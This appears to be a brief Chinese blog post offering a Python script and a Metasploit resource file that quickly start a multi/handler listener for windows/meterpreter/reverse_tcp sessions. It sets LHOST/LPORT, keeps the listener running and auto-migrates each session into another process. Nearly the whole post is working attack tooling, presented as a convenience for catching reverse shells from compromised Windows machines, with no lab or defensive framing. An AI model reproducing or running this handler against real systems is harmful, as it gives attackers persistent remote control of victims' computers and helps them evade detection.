Quickly Start Listener scripts

本文介绍了一个简单的Python脚本,用于快速启动Metasploit监听器并自动注入到其他进程中。通过创建资源文件并调用它来实现快速配置。
#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys import subprocess #write a resource file and call it def build(lhost,lport): options = "use exploit/multi/handler\n" options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport) options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n" filewrite = file("listener.rc", "w") filewrite.write(options) filewrite.close() subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args try: lhost = sys.argv[1] lport = sys.argv[2] build(lhost,lport) #index error except IndexError: print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

 If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

 

You  can also create a file, such as "listen.rc"

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.150
set LPORT 8888
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j

Then,use it to start a listen.

msfconsole -r listen.rc

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值